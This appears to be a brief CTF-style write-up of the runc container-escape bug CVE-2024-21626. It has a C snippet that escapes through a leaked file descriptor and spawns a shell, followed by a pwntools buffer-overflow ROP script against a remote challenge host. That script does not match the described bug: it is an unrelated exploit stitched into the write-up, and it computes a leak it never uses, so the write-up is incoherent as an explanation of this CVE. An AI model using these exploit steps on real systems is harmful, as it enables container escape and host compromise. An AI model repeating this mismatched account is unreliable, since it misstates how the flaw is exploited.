CVE-2024-21626: runc Container Escape via Leaked File Descriptors

1. Challenge Synopsis & Target

During inspection of runc commit 739205e, we identified that internal file descriptors allocated via /proc/self/fd were not marked with O_CLOEXEC prior to the clone(CLONE_NEWNS) invocation.

2. Recon & Surface Analysis

Inspecting open file descriptors during early container startup revealed descriptor 7 pointing to the host's /sys/fs/cgroup or /proc directory hierarchy depending on configuration.

// PoC Trigger payload setup
int cwd_fd = open("/proc/self/fd/7", O_RDONLY | O_PATH);
fchdir(cwd_fd);
execlp("/bin/sh", "sh", NULL);

3. Exploit PoC & Shell Execution

Once fchdir transitions outside the container root filesystem, executing binaries directly against host system mounts yields host root compromise:

from pwn import remote, p64, u64, ROP, ELF

target = remote('ctf.sec.kernel.io', 1337)
elf = ELF('./chall_vuln.bin')

libc_leak = u64(target.recvline()[:8].ljust(8, b'\x00')) - 0x21b150
rop = ROP(elf)
rop.system(next(elf.search(b'/bin/sh')))

target.sendline(b'A' * 40 + rop.chain())
target.interactive()